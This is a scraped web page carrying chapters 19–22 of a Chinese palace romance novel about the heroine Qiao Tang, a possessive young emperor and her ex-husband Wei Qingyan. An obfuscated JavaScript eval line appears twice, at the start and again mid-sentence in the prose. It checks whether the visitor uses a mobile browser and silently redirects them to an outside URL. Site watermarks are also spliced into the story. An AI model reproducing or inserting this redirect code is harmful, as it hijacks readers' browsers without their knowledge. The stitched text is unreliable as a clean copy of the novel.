;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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额头被裴承珏拿折子轻拍了一下,她瞋了一眼过去,裴承珏笑起来,“这样才对,姐姐瞪人也是好看的。” “陛下别胡闹了。” 原来是在逗她笑,乔棠松了口气,随手翻出一篇文章,状似瞧得认真。 耳边传来裴承珏的调侃声,“要不要朕告诉魏卿,姐姐看他的文章会睡着?” 今日怎老逗她! 乔棠不满,扬袖将文章拍到了裴承珏肩上,眉尖一顰,面颊似被气出浅粉,“陛下快些忙吧!” 裴承珏飞快地探身过来,薄唇啄了一口粉颊,不及乔棠反应,他已提起朱砂笔,老老实实批改折子了。 乔棠连骂他的机会也无,只好眼睁睁地看着他的侧脸,忽见他眉峰骤拢,唇角一垂,晓得他因折子不悦了,也不好出声了。 坐了片刻,瞥见裴承珏为她备的点心,她探袖拿了一个,安静地吃着,无声无息的。 一连吃了几个,她都没出声,正细细咬着最后一个,裴承珏抓了她的手过去,咬了一口点心,转头又忙去了。 乔棠无言地看着手里最后剩下的点心,慢吞吞吃完了,末了拿了手绢刚要擦掉唇边残留的点心渣,耳畔传来裴承珏不满的声音,“姐姐,朕也要吃。” “我去喊人再备些……” 声音一止,唇舌被堵住了,裴承珏摁着她的后颈,双唇缠绵,情动不已。 19. 第19章 情潮滚烫。 乔棠避无可避,被迫陷入火烧似的情海,连带脑子也迷糊几分,揪着裴承珏衣袖的手指无力垂下。 不知过了多久。 这火慢慢熄了,唇分之际,她听到裴承珏餍足之声,“朕吃好了。” 她实在很想捶裴承珏一下,但浑身无力,靠在裴承珏胸膛前哼了一声,半点气势也无,倒让裴承珏怜爱道,“姐姐累坏了,就在朕怀里歇歇吧。” 乔棠阖眼忍了,攒了点力气道,“陛下,若今日不学琴,我便先回太极宫了。” 裴承珏慢悠悠道,“自然要学,魏卿稍后就到。” 乔棠迟疑着没动,眼前飞来一本折子,裴承珏道,“魏将军要回京了。” 乔棠疑惑魏将军是何人,好奇地翻开折子,看到上面书着“魏清墨”三个字,心中默念,魏清墨,魏清砚…… 却原来裴承珏口中的魏将军是他表兄,乃是镇国公府长子,魏清砚的兄长。 乔棠随即想起魏清砚可是她前夫,这可真够糟糕的,到底要不要和裴承珏坦白? 若不坦白,裴承珏与镇国公府来往过多,哪日发现了,可就是欺君之罪了。 思及此处,她斟酌一番,蓄足力气试探道,“陛下曾提及魏大人的夫人,不知他的夫人是什么样子?” “魏卿夫人?” 裴承珏手中朱砂笔一顿,目光仍停在折子上,思索如何批复,“姐姐问错了,朕只关心姐姐,对其余女人不感兴趣。” “陛下想哪里去了!” 乔棠一颗心紧张得七上八下,得来这么一句,倒是不紧张了,快气坏了,“请陛下正经回答!” “朕很正经,朕本就不关心旁的女人,故而从不多问。姐姐若不满意这个答案,嗯,容朕想想。” 朱砂笔杆抵了抵下颌,裴承珏侧目望来,笑了笑,眉眼透出英气,“魏卿会想他夫人。” 乔棠心尖像被人掐了一下,她垂下眸子,慢慢道,“想不到魏大人看着冰冷,对夫人倒是有情,若是……” 她踌躇着,心里翻来覆去地滚着一句话,若是魏大人想的那个夫人是我呢? 话到了嘴边,如何也吐不出来,她只好在裴承珏疑惑的目光中,开玩笑道,“若是他夫人误会了他的心,被旁人抢走了,我看魏大人哭都没地方哭。” “姐姐这话错得离谱,能被旁人抢走的东西,原也不是他的。” 乔棠实难以认同这话,“陛下才是歪理邪说,一个活生生的人岂能用东西作比较?” 脑中一个念头闪过,她装作玩笑道,“便拿我来说,难不成陛下觉着我是随意争抢的东西?我曾说我前夫已逝,倘若他还在,陛下却要了我进宫……” “那就让他死。” 乔棠整个身子都被裴承珏攥进了怀里,那力道快要将她揉进骨血里了。 这且不论,乔棠满脑子都是适才裴承珏那浅描淡写的声音,让谁死?魏清砚么? 她以为自己听错了,翻来覆去地回想,慢慢地身子打起颤来,冷意浸入全身。 可怜此时此刻,能给予她温暖竟还是吓着她的裴承珏。 “姐姐莫怕。”裴承珏抬起一双黑沉眸子,温柔地抱紧她,“朕说笑罢了,不过姐姐——” “日后慎言,一个死了的前夫,何必多提?” 他分明是笑着的,乔棠却惧得连气也不敢喘,哪里还敢说前夫活过来了,等会儿还要过来教她弹琴!她不想魏清砚活了吗!她不想自己活了吗! 她只能埋怨一声,“知道了,陛下莫再吓我了。” “那朕为姐姐压压惊。” 说是压惊,又是一番动作,乔棠察觉裴承珏大抵是不悦了,动作有些发狠,看来是真不能提前夫了。 等裴承珏放开乔棠,为她理好了衣衫,理好了额角乱发,见她不声不响的,又开始哄她,“姐姐,非朕吃醋,朕真的听不得姐姐提他。” 乔棠拂开他的手,得了机会就反讽回去,报复似地占些嘴上便宜,“不拈酸吃醋?不小肚鸡肠?” 裴承珏笑道,“姐姐记什么不好,非要记这些,把这些忘了吧,嗯?” 乔棠不可置信地瞪圆眸子,这也太无耻了,不都说天子金口玉言么?这位怎么这么苍黄翻覆言而无信! “姐姐莫气,魏卿也该来了,上次姐姐把老师气走,这次总得好好学吧?” 乔棠被他哄得也没气力争辩这些了,见宫人为她摆好了琴架,她自己去抱了琴来,放置在琴架上,坐了下来。 手指抚过琴弦,想起这是魏清砚为她亲手制的,心头五味杂陈。 曾经她想尽办法,只为得知魏清砚心中是否有她,便是听了魏清砚醉言,也不敢相信。 眼下得了想要的结果,终是明白了魏清砚的情意,却身处宫中,进退两难。 “陛下,魏大人求见。” 乔棠悄悄侧目,瞥见一片绯红官袖移了过来,耳边响起魏清砚一贯的冷声,“微臣见过陛下。” 裴承珏也未出声,一抬下颌,示意他起身立在琴架旁,自己支着脑袋看向乔棠,不过一眼,俊眉一皱,他嫌御桌离琴架远了,起身也往琴架边去。 很快琴架旁立了两人,左边两步远立着魏清砚,右边裴承珏紧挨乔棠,从殿门往这里瞧,三人竟似挤在一起。 慢慢地,一股相同的熟悉清香浮了出来,于殿中萦绕不散,细细地挠着乔棠紧绷的神经。 乔棠心里哀呼,都离这么近干什么,你们身上的香可是一样的,闻不出来吗! 两个男人倒似浑然不觉,魏清砚低低轻轻地讲着,裴承珏见乔棠又在犯糊涂,抓起她的手指勾住了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16166866|180120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 琴弦。 悦耳声音传出,伴着裴承珏的笑声,“乔姑娘,回神了。” 乔棠一惊,忙地要抽出手指,无奈裴承珏攥得太紧了,她压根抽不出来,只好任由裴承珏握着了。 魏清砚声音一滞,裴承珏挑眉,“今日倒奇怪了,学生走神便罢了,怎么老师也走神了?” 魏清砚正欲张口,乔棠心里一慌,手下一动,指腹当即被琴弦割了一个口子,疼得她低呼一声。 血珠清晰可见,魏清砚猛地上前去,霎时眸光狠狠一颤,却是裴承珏动作更快,皱眉将乔棠手指含进了口中。 乔棠来不及反应,一下红了脸颊,唇瓣轻颤,“陛下……” 她本意是让裴承珏松口,可指腹传来的温热触觉,手指被紧紧攥着的强迫感,都叫她声音变了调,说不出的亲昵。 魏清砚袖中手掌猛地合拢,指尖狠狠陷进掌心,掌心顷刻沁出血丝。 “臣即刻宣太医。” 魏清砚匆匆离去,乔棠瞥见那抹绯红消失,蝶翅般的睫毛颤了颤。 “姐姐还疼么?” 裴承珏吮尽血珠,怜惜的目光掠过指腹上的伤口,却见她眉尖顰着,神思不知飘向了何处。 裴承珏眉峰拢得更紧了,张口又将伤口含进去,舌尖逗弄地舔着,这才叫乔棠回了神,“陛下!” 裴承珏顺势松了口,直起身子,黑沉沉的视线睥睨而下,“姐姐在想什么?” 乔棠慌地扯了一个理由,“天太热了,热得我心头不舒服,总出神。” “姐姐怎不早说?” 裴承珏自责地与她坐在一起,“怪朕忙于朝务,疏忽了姐姐怕热,姐姐且等这一日,明日我们便搬去南苑行宫避暑,可好?” 乔棠既扯了这个怕热理由,此刻只能笑着应下,所幸程英来得快,她也有了收拾心思的时间。 趁程英为她包扎伤口时间,她瞥了一眼魏清砚,见他眸中浮出担忧,回了一个我无事的眼神。 魏清砚垂下眸子。 伤口包扎好后,程英道这两日好生注意,琴铁定是不能学了。 魏清砚也就没有待在殿中的理由了,和程英前后脚离开了。 既要去行宫避暑,乔棠一回太极宫,就同王嬷嬷一起清点去行宫的箱笼。 期间,她瞥见程英备好的匣子,抱起匣子塞进了床尾,当不存在一样下了床。 当晚,裴承珏要带乔棠去行宫避暑的消息就传到了太后宫中,太后是不去的,可也让素兰姑姑传了话过来。 乔棠听了,待裴承珏回来就寝,她笑道,“陛下,我怕到了行宫无聊,不若让魏姑娘和顾姑娘同我一起去吧?” 裴承珏自然应下,待乔棠睡下了,他凝视着她的睡颜,忆起适才亲吻时,姐姐又出了神,面色一沉,姐姐心里到底在想什么? 20、第20章 果真只是受了酷暑之苦? 他深思许久,得不来答案,眸色转瞬幽深晦暗。 他竟猜不透姐姐心思。 一种姐姐有事瞒着自己的不虞倏地从心底冒出来,看来他得想法撬开姐姐的嘴了,好叫姐姐知晓什么叫坦诚相待。 但等住进了南苑行宫,换了凉爽住所,他见乔棠日日顾盼神飞,嫣然欲仙,又摇头失笑,暗叹自己想多了。 姐姐确然是受了酷暑之苦才神思不属的,罢了,若再为没来由的疑惑吓着姐姐,倒得不偿失了。 这般想着,他转而继续学习敦伦之道,待与内阁辅臣商议政务后,立即召了随行而来的太医。 他坐在御桌后,听着太医讲些新东西,摞起的折子映住了他眉心攒出的浓郁欲色,声音冷冷的,“此处重新讲。” 太医不敢冒犯天颜,始终垂着眸子,自不知晓天子反应,遵循旨意将内容讲得十分透彻。 然讲得太细了,就有了坏处。 裴承珏学得仔细,渐渐地脑中浮出乔棠柔美笑颜,街上初见那乍然绽放的笑靥,纱帐里明珠光辉映出的浅粉面颊。 顿时一种无可救药的狂热的喜欢充溢在他的四肢百骸里,仿佛乔棠才是他的心脏,叫他活了下来。 “退下。” 他的额角生出细汗,下颌紧紧绷着,百般隐忍之下啪得一声扔了折子,惊得太医惶惶告退。 “请乔姑娘来一趟。”他下了命令,转身进了内殿里间。 里间敞开的窗户透来清风,拂不掉他心头躁动的欲望,反激得他上前砰得一声关紧了窗户。 门扉紧闭,空间倏地变小变窄,他的欲望却越来越大,似要冲破这狭窄房中了。 分明还有消暑的冰块散出丝丝凉气,他如坠入烈日灼光下,浑身发烫。 情潮涌动间,身体每一处骨血肉.缝都颤粟地告诉他,他要乔棠。 这厢乔棠坐在房中,正在听顾玉清弹琴,面上微微笑着,心头苦恼不已。 自打魏若湄来了行宫,总避着不见她,便是撞见了,也目光躲闪,以身子不适逃开了。 她琢磨着得找魏若湄问一问,正想着,李公公在房外道,“乔姑娘,陛下请姑娘过去一趟。” 琴声一顿。 乔棠起了身,想起太后的安排,朝顾玉清笑道,“顾姑娘琴艺不俗,不妨和我一起去见陛下,让陛下再听听顾姑娘的琴声?” 顾玉清笑着应下,“乔姑娘不嫌我打扰了你和陛下便好。” 乔棠摇头,领着她去见裴承珏。 到了殿外,李公公通禀,房里传来一道低沉声音,“进来。” 乔棠领着顾玉清进去,只见御桌后空落落的,其余地方也不见裴承珏,猜测裴承珏在内殿里间。 乔棠只当他在里面有事忙,“陛下朝务繁累,不妨请顾姑娘为陛下弹一曲,为陛下解解乏。” 里面缓缓传出一声,“可。” 顾玉清坐下抚琴,琴声清越如泉,泠泠流淌。 乔棠步到内殿门前,耳边除却琴声,再无一丝别的动静,心下疑惑。 待一曲罢了,里面也没有传出裴承珏的声音,顾玉清只得退下,留乔棠在门外不明所以,“陛下?” 话音落下许久,里面方传出一声,“朕在忙,姐姐且去歇息。” 乔棠越发疑惑了,分明是裴承珏召她来的,怎到了跟前又在忙了?她抿了抿唇,见房里仍无声音传出,便缓步离开了。 殊不知裴承珏正站在门边,适才只一瞬,他便想伸手将乔棠抓进来,恣意占有一番,但思及漱玉阁那次惊了乔棠,他不愿再这样做,遂隐忍下来。 闻得脚步声离开,他的目光瞥到了榻上,缓步过去,从榻里勾出一件乔棠的贴身小衣,慢慢贴在面上,以缓解折磨人的情潮。 回了自己房中,乔棠按下心间疑惑,想着去找魏若湄,没成想还没出房,魏若湄自己送上门来。 乔棠见她在窗外鬼鬼祟祟的,笑了一声,“快进来,不然我就出去抓你了。” 魏若湄低头磨蹭进来,乔棠过去抱了她道,“和我闹什么别扭呢?” 魏若湄面上眼泪啪嗒嗒落下,她再也忍不了了,“乔姐姐,我兄长他……” 乔棠一听,牵着她在桌边坐下,又去关紧了房门,这才坐在她身边,柔声一叹,“你都知晓了。” 魏若湄点头,断断续续说了许多,包括那次带乔棠出宫的真相。 乔棠听得怔然,原来魏清砚早已将她认了出来,是了,夫妻三年,她调的香,她写的字,魏清砚对哪个不都一清二楚? “乔姐姐,我不知道你和我兄长之间发生了什么。”魏若湄抬起泪眼,抓紧了乔棠袖子不松,“可我知道我兄长心里还有乔姐姐,我、我从兄长房里偷偷拿了这个出来。” 她从袖子里小心翼翼地拿出一张小像,“这是乔姐姐对吧,我兄长夜夜拿出来看,一看便是许久。” 乔棠一眼就认了出来,刹那间苦笑不得: 两年前除夕夜,她央温璟画一张小像给她,温璟漠然不动,却原来偷偷画了不给她,自己留下了。 乔棠颤着手指要勾回小像,魏若湄动作迅疾地藏回袖子,“这个不能给乔姐姐,兄长若发现小像不见了,会发火的,我得还给兄长。” 乔棠别过视线。 魏若湄迟疑问道,“乔姐姐心里……还有我兄长么?” 乔棠一瞬心乱如麻,裴承珏句让他死犹在耳边,倘若裴承珏知晓魏清砚是她前夫,活的好好的,还在他眼皮下和自己有所牵连…… 这个念头一出来,分明满屋凉气,乔棠却骇得后颈生出热汗,倏地正色道“我且问你,我与你兄长之事,可还有旁人知晓?” 魏若湄道,“乔姐姐放心,眼下只我和兄长知晓,便是我娘亲也不晓得!” “那便好,日后万不可在外人面前提起。” 乔棠眉眼一凛,惊得魏若湄不敢多问,低低恳求道,“我大哥要来行宫见陛下了,乔姐姐和我一起去见见大哥吧。” 哪里是去见魏清墨,分明是央求她去见魏清砚,乔棠心底一酸,轻轻颔首。 约莫申时三刻,乔棠和魏若湄出了门,在廊下碰到了魏清砚和魏清墨。 魏清砚未着官衣,只穿一身蓝色常服,凛冽眉眼望见乔棠时和软许多,视线带着滚烫热度抚过来。 乔棠受不住地别开视线,魏清砚依然定定地望着,从旁人看他,分明是在唐突姑娘,委实失了礼仪。 身侧魏清墨果然皱眉,视线掠过乔棠,又瞥回魏清砚身上。 “乔姐姐,这是我大哥!”魏若湄笑道。 乔棠望向了魏清墨,行礼问好,“魏将军。” 魏清墨二十八岁,体态健硕,面容英朗,并无常驻边关的肃杀粗蛮,反倒眉眼温和得很,单看形容神态竟是一个儒将。 他不动声色地往前行一步,遮住魏清砚看向乔棠的目光,朝乔棠微微颔首,“陛下曾在信中向我提及乔姑娘,今日可算见到了真人。” 此言一出,魏清砚容色冷漠许多,视线瞥到了别处。 魏若湄偷偷看他,乔棠则对裴承珏向他人提及自己的行径很是无奈,也察觉了魏清墨有意隔开她和魏清砚的举动。 看来魏清墨心思相当敏锐,恐已怀疑她和魏清砚之间有什么了,眼下提裴承珏不过是提醒她的身份,少沾染他的弟弟罢了。 不想魏清墨还不罢休,朝她微微一笑,“陛下召了我和清砚过去,乔姑娘可要一起去见陛下?” 乔棠听出了他的话意,他压根不想让自己跟去。 乔棠本也无意去见裴承珏,但魏清墨甫一见面,便对她表露恶意,严加防范,她不想遂了魏清墨的意,微微勾唇,露出一个柔丽笑颜,“那便一起吧。” 魏清墨唇角微僵,乔棠笑得更开心了,魏清砚勾起的唇角又飞快压了下去。 四人一起往正殿去。 乔棠与魏若湄步在后面,望着魏清砚与魏清墨并肩的身影,为魏清砚有了血缘牵绊的家人欢喜。 思及镇国公府为魏清砚做的一切,她朝魏若湄笑道,“你们待他真好。” 魏若湄笑道,“那是自然,我娘亲说了,兄长是我们家里最重要的人,以后我们家事事都要以兄长为先!” 想来镇国公府是把魏清砚当眼珠子疼着,乔棠弯眸笑起来,柔美面庞艳艳生辉,魏若湄看呆了。 魏清墨与魏清砚走在前方,魏清砚回眸瞥见这一幕,浑身冰冷气息尽数消失。 “清砚,看路!”魏清墨沉声提醒,先前他从裴承珏信中已知裴承珏有多喜欢这个乔姑娘了,眼下弟弟似与这乔姑娘有所瓜葛,着实让他不悦。 四人一起到了正殿门前,裴承珏正与辅臣议事,且与魏清墨无正事要论,遂命李公公带他们先去茶厅歇着。 茶厅离此不远,乃是裴承珏闲来无事品茗论茶之地,四人一进去,魏若湄就来了兴致,命人备好茶具,要给他们煮茶。 乔棠与魏若湄坐在茶桌一侧,水雾缭绕,茶香四溢间,对面魏清砚望向乔棠,目光似有话说。 忽地视线被一节衣袖挡住了,原来是魏清墨起身接了魏若湄捧来的茶杯。 “清砚,好生品茶。”魏清墨意有所指。 魏清砚收回视线,垂眸凝视茶杯,乔棠低眉,方抿了一口,裴承珏迈步进来。 四人起身行礼,裴承珏挥手让他们起来,疾步到乔棠跟前,已全然敛起渴求,只牵着她的手坐下来,笑着看向魏清墨,“表哥瞧着与去年无二,舅舅可好?” 魏清墨笑道,“微臣谢陛下挂怀,父亲一切安好。” 裴承珏又与魏清墨闲谈几句,期间也不提朝务等事,只聊一些京中或边关琐事。 此时起了凉风,透过窗户飞进来,裴承珏微微皱眉,手臂护住了乔棠。 魏清砚瞥来一眼,默默望向窗外,魏清墨时刻关注他的举动,顺着他的视线往外看,“要变天了。” 果然风来得很急,不容关窗已呼呼灌了进来,将几人衣袖吹得飒飒作响。 魏若湄一个不慎,扬起的袖子鼓起,袖中小像就飞了出来,在几人眼前飘飘忽忽。 魏若湄脸色大变,猛地扬手去抓,只抓了一个空,不由惊叫,“兄长!” 魏清砚原低着眸子,抬眼一瞥,蓦地变色,长臂一下伸了过去。 偏偏那小像灵巧地闪开了,飘过乔棠时,惊得乔棠一把抓住,捏在了手心里,正欲藏起来,手腕被裴承珏擒了过去。 裴承珏笑道,“什么好东西,值得你们这般情急?”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 21、第21章 魏若湄惊得唇瓣抖动,魏清砚已明白她擅自拿了自己的小像出来,目光直勾勾地盯着乔棠手腕。 一股寒气压得风声都低了许多,若非衣袖被魏清墨死死地压着,他恐已起身过来夺了。 裴承珏并未注意到,低垂视线只落在乔棠手上,察觉她攥得太紧了,薄唇一抿,“姐姐听话,把手打开,让朕看看什么东西。” 这是他第一次在人前这般喊,任谁都听得出来这样的私语中藏着多少亲昵厮磨。 魏清墨压着的衣袖倏地抽了出去,但见魏清砚压抑不住似地掀唇,冰冷容色竟勾成一抹浅笑,“回陛下,那是张乔姑娘的小像。” 除却裴承珏,其余人均心头一跳,乔棠更是脑中轰得一声,魏清砚这个笑太不正常了,他要做什么! 乔棠心念急转,是,这张小像对他很重要,重要到他夜夜都会拿出来看,可他绝不能贸然做出什么来,若是情急之下失了理智,被裴承珏发觉了,谁也料不到会是什么结果! 此刻乔棠必须做点什么了,她飞快地瞥了一眼将要失控的魏清砚,眼神轻柔似安抚,示意魏清砚冷静下来并先出去。 魏清砚对视过来,笑容渐渐消去,唇角抽动一下,再说不出什么了,只直直地坐在那里不动。 乔棠知他不罢休,暗地里着急,面上朝裴承珏笑道,“是我和魏妹妹玩时,给魏妹妹画了一副小像,魏妹妹很喜欢,还给魏妹妹吧。” “对,这是乔姐姐给我的,便是我的东西了。” 魏若湄再也顾不上平时对裴承珏的恐惧了,只知晓这是兄长的东西,必须给兄长夺回来,她几步靠近乔棠身侧,伸手就要去拿。 乔棠本已张开手心了,她快一些便可拿到,不想裴承珏速度更快,两指一夹就将小像抽了出来,端详片刻,眸子发亮,“果真是姐姐。” “不过——” 他爱怜地用手指轻轻抚摸几遍,“瞧眉眼不似现在的姐姐模样,可是画的以前?” 周围唯有风声在动,乔棠抿紧唇角,“陛下慧眼,这是两年前的我。” “两年前,姐姐十八岁,正与朕同岁。”他很喜欢这张小像,拿小像点了点魏若湄,对乔棠道,“什么她的东西,关于姐姐的一切都该是朕的,这小像也该是朕的!” 砰得一声,靠近桌边的茶杯坠落,碎了一地,溅得魏清砚衣袖一片狼藉,他整个人僵了似的浑然不觉。 “陛下,清砚不慎打了茶杯,脏了衣物,臣带他去换衣。”魏清墨当即起身,使力拉魏清砚起身。 乔棠再瞥魏清砚一眼,眸似诉情,隐含恳求,魏清砚一瞬塌下肩膀,起身跟着魏清墨疾步离去了。 魏若湄已急得哭了出来,靠着乔棠哀求,“乔姐姐,陛下他不讲理!” 魏清砚的身影消失在了窗外,乔棠收回视线,心脏一阵发酸。 她制止了魏清砚抢夺的举动,却允了魏若湄在旁哭闹,魏清砚能明白她的选择么? “陛下休要说些歪理,陛下想要小像也简单,我为陛下画就是了,莫说十八岁的,十六岁的我也画得出来。” 说着她的手指要勾走裴承珏手中小像,裴承珏不允,连带她手指也握住了,“姐姐要偏心?便是要偏心,也得偏给朕。” 真真生生硬抢,魏若湄失态地喊,“乔姐姐,陛下若不还给我,我也不要活了!” 乔棠心里明白,她不是为了自己,她是为了魏清砚在闹,她不忍魏清砚连个小像也没了。 可裴承珏手中攥紧了小像,目光紧紧锁着乔棠,“姐姐莫可怜她,她没了小像,朕会弥补她的。” 魏若湄睁着流泪的双眼,“我什么都不要,我就要这张小像!乔姐姐……” 乔棠心知寻常法子要不回小像了,在她耳边低语几声,她哭着起身出了茶厅。 眼下厅中只剩两人,裴承珏得了乔棠偏爱,容色得意地把玩着小像。 乔棠笑道,“我竟不知陛下爱这些东西。”双手环住他的脖颈轻轻一拉,唇瓣吻上他的眼睫,“难道我一个真人,尚且比不过一张小像?” 裴承珏呼吸一促,立时压着她吻了下去,手中小像落在桌面上。 乔棠得了机会,偷偷地腾出一只手,抓住小像藏进衣袖。 一吻接着一吻。 衣领被手指挑开了,粗重呼吸在风声中渐起,很快窗外响起了雨声。 窗户未关,雨丝飘进来了,湿了两人纠缠在一起的发。 裴承珏浑然不觉,专心吻着心上人,乔棠侧目望着窗外细雨,慢慢阖上了眸子。 风声雨声夹在一起,泼泼洒洒。 魏清砚衣袖溅出茶水,一路疾行中,魏若湄从身后追上来,一把揪住了他的衣袖,一声哭腔委实可怜,“兄长,对不起,乔姐姐说一定会把小像还给你的,你不要不理我!” 魏清砚回头,一双冷漠眸子不含半点温情,淡淡地看着哭肿了双眼的魏若湄。 魏清墨步到两人跟前,皱着眉头想劝魏清砚几句,忽听他毫无情绪道,“不怪你。”抬步直往雨中去了。 魏若湄怔然地抬步还要追,一把被魏清墨扯住了,“即可回你房间。” 两人回了房间,魏清墨替魏若湄擦干眼泪,叹了口气,“别再哭了,先和大哥说说清砚和乔姑娘究竟是怎么回事。” 魏若湄抽泣着将事情说罢,魏清墨枯坐良久,苦恼地捏了捏眉心,缓缓吐了口气,“清砚竟与乔姑娘做过夫妻。” 魏若湄道,“大哥帮帮兄长吧!” “休得胡说,此事你莫再插手,我命人即可送你回国公府,切记,此事莫要向母亲提及!” 魏清墨当机立断,出房唤了国公府的随从,硬是冒雨将魏若湄送了回去。 雨下到晚间也没有停止,乔棠趁裴承珏忙起来顾不上她,径自回了房坐在窗下。 淅淅沥沥的雨声扰了她的心神,她顰着眉尖,垂眸摩挲着那张小像,画得很好,怪不得裴承珏一眼就喜欢上了。 是除夕那夜,她扬颈瞧烟火那一幕,魏清砚竟记得那么清,那么细。 可惜当初自己没看出来他的情意。 可惜魏清砚藏得过于严实…… 如今再不是两年前的除夕夜了,她已身在宫中,这张小像出现得并不合时宜。 “乔姑娘……” 李公公的急声扰了她的神思。 乔棠将小像收起来,听李公公在门外低眉道,“乔姑娘,陛下醉了,不肯让其他人碰,说只要乔姑娘。” 自打乔棠进宫,从不见裴承珏饮酒,今日方知原来裴承珏不仅饮酒,还会醉酒,她步到门口问,“陛下怎地突然饮酒?” 李公公答得很细,“陛下与魏将军自幼交好,每每魏将军回京,陛下便同他饮几杯,这回陛下瞧着更为欢喜,饮得更多了。” 乔棠边听边走,雨丝斜射进廊,要湿了她的衣袖,李公公拿身子挡着,“乔姑娘小心。” “无碍。”乔棠加快步子到了偏殿,甫一进去就闻得裴承珏声音,“朕的姐姐呢?” 但见殿内,裴承珏斜身坐在窗台上,一双长腿无处安放,委屈地搭在地上,一手拎着酒杯,扬袖间夜风灌了进来,直吹得袖子飒飒作响。 墨眉下双目熠熠,薄唇微微勾着,残留的一丝酒液顺着下颌流入修长脖颈,再无一丝少年天子的端正威仪,似个倜傥浪荡子。 一眼望见乔棠时,他启唇饮尽酒水,随手一扬,酒杯落入身后雨中,随即伸开双臂,朗笑一声,“姐姐过来。” 身子后仰,似要跌入窗外了,几人惊慌,偏偏不得近身,唯乔棠疾步过去,伸手欲拉。 下一瞬裴承珏跳下窗台,揽她入怀,薄唇压下来,“姐姐张口。”强硬地将清酒渡了进去。 乔棠闻得清酒香气,不得已咽下,呛得她一把推开裴承珏,低首咳了一声。 “姐姐。” 裴承珏浑然醉了,不依不饶地抱着她,薄唇要吻过来,惊得她涨红了脸,低柔恳求,“陛下不妨先去洗漱,我等着陛下。” 裴承珏果真听话,倏地安静下来,下意识地吻了吻乔棠的发,随宫人洗漱去了。 乔棠忙地理好衣衫,要出殿门时,闻得身后传来一声,“乔姑娘留步。” 原来先前魏清墨见裴承珏亲近乔棠,忙地避开去了里面,眼下裴承珏离开,他方踱步出来。 乔棠回身望过去,听他缓缓道,“陛下向来心净,只顾朝务,我还是第一次见他这般喜欢一个姑娘。” 乔棠并不言语,这男人真正目的还在后面,果听他又道,“陛下既这般看重乔姑娘,乔姑娘也应一心对待陛下,倘若乔姑娘过去还有些什么,也该放下了。” “我比陛下大了十岁,说句不论身份的话,我将陛下当弟弟看,清砚虽刚回来一年,却也是我的亲弟弟,我不希望看到他们因乔姑娘……” “呵……” 乔棠不愿听下去了,牵唇一笑,满眼讥讽,“魏将军既如此疼爱这两个弟弟,不妨我给将军指条明路,将军叫陛下放我出宫如何?” 魏清墨一怔,张口欲言,她懒得再听,“魏将军怕是不知,若非陛下所迫……” 轰隆隆一声巨响,夏雷打了下来,电光闪烁间,魏清墨瞥向殿门处,面色一变。 魏清砚不知何时立在那里了,风雨刮掉了他面上寒霜,剖出一层苍白,眼神也是痴了般直勾勾地望着乔棠,“是陛下逼迫棠棠?”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 22、第22章 乔棠不过是气不过魏清墨那番话,一时急了才对着魏清墨反唇相讥,实未料到这话能被魏清砚听去,心间一阵慌乱,随意道了一声,“你听错了。” 疾步越过他出去了,在廊下行了十来步,闻得身后脚步声匆匆,她提起裙角小跑起来,一时衣衫纷飞。 不过须臾,还是被魏清砚擒住了手腕,魏清砚飞快地将她拉到拐角处,用身体堵住了她的路。 廊下灯笼受不了风雨摧残,噗得一声灭了光,一片黑暗中,唯有风雨声,还有两人紊乱的呼吸声。 “他逼你的,对吗?” 夜风携凉雨袭来,吹得魏清砚怀抱一片冰凉。 也许不是夜雨的错,魏清砚怀抱一贯是冷的,要靠她去暖,才热得起来。 乔棠鼻子一酸,有些茫然于自己的情绪,分明他活过来,她是欢喜的,可一思及以前,她又心生埋怨,心生委屈。 她不想靠近这个冰凉怀抱了,缩着身子靠向墙壁,以手隔开两人距离,拼命忍耐下,眼泪还是流了下来,“你听错了,陛下并没有胁迫我,是我自愿进宫的。” “棠棠,你哭了。” 魏清在黑暗中探出手指,指腹蹭掉乔棠面颊上的泪,声线沙哑,“若你对陛下有情,我甘愿当个死了的前夫,如今得知你是受陛下所迫,我如何放心得下?” 乔棠心惊,生恐他做出什么失控之事,警告道,“温璟,你我早已和离,无论如何,你都是前夫了,我的事情与你无关!” 双唇被冰冷掌心一堵,她不满地瞪过去,张口呜呜一声,“松开!” 口舌在掌心氤出水渍,魏清砚面色忽变,飞快地收回手,藏在袖中,缓缓合拢掌心。 他又蓦地勾出一抹浅笑,如小像被裴承珏夺去的那一瞬,眸中透出丝丝颠乱,“棠棠,你说与我无关,可又说会把小像从陛下那里要回来还给我,那便允了我心中还有你,如此一来,我怎忍心看你被困宫中?” 乔棠立马摇头否认了他的说法,从一开始她只愿自己解决与裴承珏之间的事情,并不打算将任何人牵扯进来。 忽地不远处传来李公公的声音,“乔姑娘,乔姑娘……” 灯笼的火光慢慢闪过来了。 乔棠生恐被人发现,提步就走,离开前袖子被魏清砚扯住,“我的小像还在陛下那里?” 她匆匆抽出来,来不及回应,灯火已快到跟前了,她极快地走了,迎上李公公等人,淡淡道,“我在这里。” 李公公等人一喜,忙带乔棠回寝殿去,“陛下已喝醒酒汤,在等着乔姑娘呢。” 乔棠跟着李公公等人走了,拐角处魏清砚立在黑暗中,久久不动。 乔棠不安地回眸望一眼,而后回了寝殿,看着自己一身湿衣,索性先不进去了,沐浴过后换了寝衣才见裴承珏。 裴承珏也已换了衣,并未歇在床上,反而坐在圈椅上等她,眸中还笼着醉意,抱怨一声,“姐姐回来得好晚。” 